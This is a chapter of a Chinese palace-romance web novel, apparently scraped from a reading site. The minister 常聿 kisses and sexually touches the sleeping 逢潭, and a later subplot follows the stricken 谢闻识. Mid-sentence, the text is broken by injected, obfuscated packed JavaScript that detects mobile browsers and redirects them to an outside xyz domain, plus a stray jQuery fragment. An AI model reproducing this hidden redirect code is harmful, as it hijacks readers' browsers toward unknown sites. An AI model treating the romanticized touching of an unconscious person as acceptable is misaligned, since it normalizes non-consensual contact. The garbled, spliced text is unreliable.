38. 认栽

作品:《那个病秧子

    夜深,头顶阴云压得黑沉。


    月色的软烟罗丝帐轻动,炉中的香气,似有若无的在空气中弥漫开,寝殿内仅留的几盏暗灯,烛火婆娑摇曳。


    房门,无声敞开,随后又被紧掩上。


    来人脚下的步子放得极轻,像是怕将睡梦中的人吵醒。走近床边,他抬手撩起帘帐,右手指间的翠玉螭龙韘,映烛晕起一圈温润光泽。


    男人俊脸无温,狭眸幽深地凝望着床上安睡之人良久,眼底似有隐隐暗火在腾烧。慢慢地、慢慢地……他俯下身,微凉的唇轻轻贴在她的额头。


    喉结重重地滚了滚,他强敛住已然乱了套的呼吸,继而小心翼翼地往下,吻上她的眉眼、鼻梁、两颊……


    人前,他是让人闻风丧胆,权倾朝野,不可一世的监国重臣。风光无限;人后,他是被世人痛骂唾弃的媚主奸宦。惨无人道,猪狗不如。


    这一生,他自觉所行也并非全然光明磊落,但如眼下行的这般偷偷摸摸、担惊受怕,倒还真是破天荒的头一遭。


    “……”


    女儿家长睫微垂,睡得深沉,胸口随着呼吸微微起伏,画面恬静又安宁,浑然不觉周身起澜的危险。


    如玉的指尖沿着浅淡的粉唇,滑到不堪一握的雪颈。素白的交领单衣,腰间系带束的松垮,锁骨处的衣襟半敞,诱人采撷。


    常聿的动作忽然停了下来。


    他一动不动地坐在床边,目光锁在颈侧一处,久久移不开。


    静默几息,驱指在衣襟敞口勾挑开,隐藏在中衣下的大片凝脂明晃晃的暴露在眼前。紧收的藕色轻纱主腰下,是若隐若现的肤肉;同样被束缚住的腰肢,柔软纤细,仿佛轻轻一碰就会折断。


    “……”


    略覆薄茧的指腹,稍显粗粝,耐着性子一圈一圈地揉搓在她颈侧一点的红痕上。


    “……”


    搓不掉。


    常聿眼色逐渐转暗,紧绷的嘴唇微微颤抖,手下的力道也开始慢慢加重。


    “……”


    怎么会搓不掉呢。


    他眼皮轻阖,彻底沉下了脸。


    下一刻,只见常聿揽腰将她从床上捞起,让她坐到自己身上;如梦中百经的场景,两条皎洁玉臂虚虚挂在他的肩膀,他埋头吸吮在她腻滑的玉肤,颈侧、锁骨、心口……新生的朵朵红梅盖住原先残留的那点儿粉淡,抚过郁结已久的愠怒。


    “嗯……”


    逢潭陷在睡梦中,抑制不住地从鼻腔流出一声不适的嘤咛。


    常聿紧紧将她拥在怀里,贪婪地嗅闻着她的味道,细碎的吻,密密麻麻地落在她的肩。


    这场旖旎的美好,沉沦的只有他。


    从始至终,逢潭都没给过他一丝回应。


    可他却觉,眼前的这一切,远比在梦中与她痴缠交叠更让人沉溺。


    私欲推着理智,一步一步地走向土崩瓦解,再难得到餍足。


    他视同拱璧地扶上她的腰,与她鼻尖相抵,气音打着飘:“...逢潭。”


    这一声,似是呢喃,似是控诉。


    终是再抵不住,试探地轻触上那令他魂牵梦绕的柔软。舌尖细细临摹着她的唇瓣,温热的鼻息相融,缠绵交织,常聿心跳沉重得厉害,像是顷刻间就要破膛而出。


    从最初的浅尝辄止,到现在的深入沉沦。


    一切仿佛失了控。


    常聿眼尾染上一抹潋滟的红,心里仅存的唯一念头——想离她近些,再近些。


    当初他走的决然,近乎是落荒而逃,以为只要离她远了些,便能及时止住那绵绵频生的情愫。


    殊不知,在他离开后,见不到她的每个日夜里,他非但做不到将自己从她的泥泞中剥离,甚至反而还陷得越来越深。


    在广陵的日子,他想她,没来由地想。


    想见她,想听她说话。


    “……”


    人,一旦有了渴望得到的某样东西,隐忍的时间越久,心里那块空缺的满足感,就会变得越发难填,最终沦为噬人的贪欲。


    一席软榻,依偎交缠的人影,被褥下轻晃的身子,耳边细碎的低吟……一闭眼,满脑子都是她在自己胯/下,美目迷离,轻轻呜咽的画面。


    二十多年的清心寡欲,蓦然怒火中烧,常聿觉得自己要疯了。


    “逢潭……”


    回答他的,自然只有一片凝寂。


    他甘之若饴地亲了亲怀里人儿的嘴角:“我不会放过你的。”


    他不想再和自己的心做反抗了。


    他认栽了。


    费心竭力作下的冷漠,在回来见到她的那一眼起,就瞬间化为虚无,全都做不得数了。


    哪怕她现在已然成了那个人名副其实的后妃;哪怕……明知她的心里或许有人,他也全都认了。


    争罢。


    抢罢。


    即使头破血流。


    *


    “求你,别留我一个人……”


    痛。


    好痛。


    心里失意的那股无力痛感,沉重窒息。浑身上下,每一条经脉、每一处骨肉,无一不是被牵动的痛到痉挛。


    “……”


    窗外投进今晨的第一道曙光,常聿静坐在床边。


    手背,紧攥自己的那只小手泛着凉。


    她在哭。


    哭得很惨。


    像个被人抛弃的小可怜儿,几度泪噎的喘不上气儿。


    他很心疼,却并不打算将她叫醒。


    常聿牵起她的手,抵到唇边,轻柔的吻着。


    似如那鸠占鹊巢的穿窬鼠辈,贪恋着不属于自己的缱绻爱意。


    “不要——!”


    逢潭浑噩地坐起身,眼底一片空茫。


    这一刻,常聿怯了。


    回握她的手,不受控制地发着颤。


    “……”


    自己此刻的卑劣行经,大抵是被她瞧见了……


    她的心里,一定已经在恶心他了罢。


    这样的心思由生,宛若一把锋利匕首,深深捅进常聿的心头血肉,旋转剜割。


    逢潭的意识处于混沌,仅有的一点清明,依稀辨清眼前之人。


    旋即,只见她嘴角陡然一撇,好似久漂骇浪的孤舟,总算寻得了停泊的安港,不带丝毫犹豫地埋头扎进他的怀抱。


    心定。


    委屈。


    常聿恍若失了脑,定定地僵在那里。


    怀里是软玉温香。


    娇软的不像话。


    逢潭低声哭噎,抱着他的力道无意识地收紧,再收紧。


    良久,常聿回抱住她,将她彻底揽至怀里。他的手在她后背轻轻摩挲揉捏着,是抚慰、亦是在流露自己那赧然宣口的情愫……


    也不知过了多久,逢潭的情绪渐渐平息。


    常聿的身子,是温暖的。


    衣衫上的沉木檀香,格外好闻。


    他的气息,令她感到安心。


    一缕私心燃起……


    她,舍不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792096|158152||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得放手。


    可是,她又明白知晓他不喜与人触碰,眼下这样被她赖贴着,固然是犯了他的忌讳的。


    “……”


    逢潭慢慢地从常聿怀里抽身。


    片刻后,她的声音带着哑道:“...对不起。”


    常聿深凝她眼底的晦暗,不敢往下追问,怕听到她说,是她错认了人……连让他自己哄骗自己的奢望都要抹消。


    逢潭违背了心意,撒了慌:“我……不是有意要冒犯你的。”


    常聿没有说话。


    她觉得,他肯定是生气了。


    想到这个,她的心里忽然有些难过,沮丧地低下头:“对不起,常大人。”


    常聿不喜欢这个称呼。


    这三个字从她嘴里出来,像是界限,像是藩篱,彰显的尽是疏离和冷淡。


    “...没有。”


    没有冒犯。


    *


    谢闻识在床上浑浑噩噩躺了月余。


    期间晟王遍寻京中数医,连带着到帝王面前求情,从宫中指派太医,各种药物进补,花样皆施,才好不容易让其得以醒转。


    谢闻识醒了。


    人,却不再似从前。


    “一群没用的废物!”晟郡王一气之下掀了桌子,指着地上跪了一片的大夫骂道,“这么多人!这么多天!竟是连个人都医不好!要你们有何用?!”


    众人言:“回王爷,这、这心病向来难医。我等皆已尽心竭力,无奈世...令郎心中创伤实为严重,属实是非一时半刻就能治愈的呀!”


    “那怎么办?!”晟郡王大发雷霆,“总不能就放任着我儿这般半死不活下去!”


    若是他还正值壮年,倒也还不至于为此事如此烦忧。谢闻识还年轻,大不了慢慢来,仔细治就是了。


    可偏偏,最逼迫人的就是,他自知自身早已年老。晟郡王府一衰再衰,他就谢闻识这么一个儿子。万一将来哪天他撒手人寰,就以谢闻识现今的这副鬼样子活在世,他又该如何生存呢?!


    其中一人壮着胆子道:“寻求其根本,解铃还须系铃人。”


    晟郡王道:“那你们倒是想办法让他开口说话啊!”


    众人面如土色,艰难跪地,不敢多言。


    谢闻识现今连进食都难,每每都是叫人强行扒开唇齿,硬以流食灌入腹内。


    他现在的状态,虽有生命特征、有心跳、会呼吸,但……意识已经涣散,无法与外界进行交流和互动!简而言之,完全就是一个‘活死人’!


    晟郡王烦倦地一挥衣袖:“滚滚滚!都滚!”


    众人闻言皆顿疏口气,终得解脱,迫不及待地迅速爬起离开。


    屋子里一时只剩下他们父子二人。


    晟郡王坐在床边,心脏刺痛地看着与死人已是无二样的谢闻识:“闻识啊,爹就你这么一个儿子,你可千万不能有事啊!”他声泪俱下道:“你心里到底装着什么事?你告诉爹行不行?你说出来,爹来帮你想办法。说出来....”


    “……”


    晟郡王忽而止了声音,:“你说什么?”他凑身上前,欲再听个真切:“儿啊,你方才说什么?爹没听清,你再说一遍!”


    谢闻识音如蚊叫,不成声调的痴钝低喃道:“常……聿……”


    晟郡王细细品味着,稍作思忖,旋即面色猛然一变,惊怒道:“是他害了你?!”


    床上的人没有回答,只是嘴间一直重复着四个字:“我、见、常、聿……”